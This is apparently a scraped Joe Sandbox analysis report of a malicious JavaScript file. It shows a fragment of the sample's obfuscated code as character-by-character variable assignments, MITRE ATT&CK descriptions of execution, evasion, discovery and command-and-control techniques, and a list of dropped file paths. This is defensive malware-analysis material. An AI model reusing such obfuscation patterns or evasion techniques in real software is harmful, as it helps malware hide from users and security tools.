1429	onteyixen = "R";
1430	onteyixen = "I";
1431	onteyixen = "S";
1432	onteyixen = "c";
1433	onteyixen = "L";
1434	teccod = "C";
1435	teccod = "w";
1436	teccod = "A";
1437	teccod = "T";
1438	teccod = "@";
1439	khqgl = "F";
1440	khqgl = "g";
1441	khqgl = "G";
1442	khqgl = "j";
1443	khqgl = "G";
1444	khqgl = "u";
1445	khqgl = "H";
1446	khqgl = "G";
1447	khqgl = "a";
1448	khqgl = "r";
1449	khqgl = "H";
1450	khqgl = "G";
1451	khqgl = "O";
1452	khqgl = "H";
1453	khqgl = "d";
1454	pqiap = "a";
1455	pqiap = "q";
1456	pqiap = "S";
1457	pqiap = "K";
1458	pqiap = "A";
1459	pqiap = "f";
1460	pqiap = "E";
1461	pqiap = "h";
1462	pqiap = "G";
1463	pqiap = "D";
1464	pqiap = "E";
1465	pqiap = "p";
1466	pqiap = "f";
1467	pqiap = "T";
1468	pqiap = "A";
1469	pqiap = "F";
1470	pqiap = "S";
1471	pqiap = "V";
1472	pqiap = "m";
1473	pqiap = "J";
1474	pqiap = "o";
1475	pqiap = "S";
1476	pqiap = "o";
1477	pqiap = "m";
1478	pqiap = "y";
1479	pqiap = "c";
1480	jputa = "k";
1481	jputa = "M";
1482	jputa = "f";
1483	jputa = "N";
1484	jputa = "P";
1485	jputa = "g";
1486	jputa = "D";
1487	jputa = "r";
1488	jputa = "J";
1489	jputa = "M";
1490	jputa = "P";
1491	jputa = "f";
1492	jputa = "h";
1493	jputa = "P";
1494	jputa = "k";
1495	jputa = "t";
1496	jputa = "u";
1497	jputa = "Y";
1498	jputa = "R";
1499	jputa = "I";
1500	jputa = "S";
1501	jputa = "i";
1502	jputa = "H";
1503	jputa = "s";
1504	jputa = "c";
1505	jputa = "N";
1506	dfcqu = "H";
1507	dfcqu = "S";
1508	dfcqu = "U";
1509	dfcqu = "i";
1510	dfcqu = "V";
1511	dfcqu = "_";
1512	liytz = "i";
1513	liytz = "P";
1514	liytz = "R";
1515	liytz = "N";
1516	liytz = "z";
1517	liytz = "c";
1518	liytz = "I";
1519	liytz = "A";
1520	liytz = "B";
1521	liytz = "x";
1522	liytz = "L";
1523	liytz = "q";
1524	liytz = "B";
1525	liytz = "Q";
1526	liytz = "c";
1527	liytz = "I";
1528	liytz = "I";
1529	liytz = "Y";
1530	liytz = "U";
1531	liytz = "L";
1532	liytz = "o";
1533	liytz = "u";
1534	liytz = "D";
1535	liytz = "l";
1536	liytz = "L";
1537	liytz = "X";
1538	liytz = "m";
1539	liytz = "Y";
1540	liytz = "j";
1541	liytz = "J";
1542	liytz = "l";
1543	liytz = "Q";
1544	liytz = "m";
1545	liytz = "I";
1546	liytz = "t";
1547	liytz = "w";
1548	liytz = "z";
1549	liytz = "D";
1550	liytz = "h";
1551	liytz = "\\";
1552	stmuyndi = "Q";
1553	stmuyndi = "f";
1554	stmuyndi = "E";
1555	stmuyndi = "a";
1556	stmuyndi = "v";
1557	stmuyndi = "z";
1558	stmuyndi = "E";
1559	stmuyndi = "T";
1560	stmuyndi = "v";
1561	stmuyndi = "G";
1562	stmuyndi = "t";
1563	stmuyndi = "a";
1564	stmuyndi = "u";
1565	stmuyndi = "m";
1566	yfjzs ( );	yfjzs() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2906816133204732533.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\61617cf6-d329-4fbc-affb-08032d01654f.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.940

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
2906816133204732533.js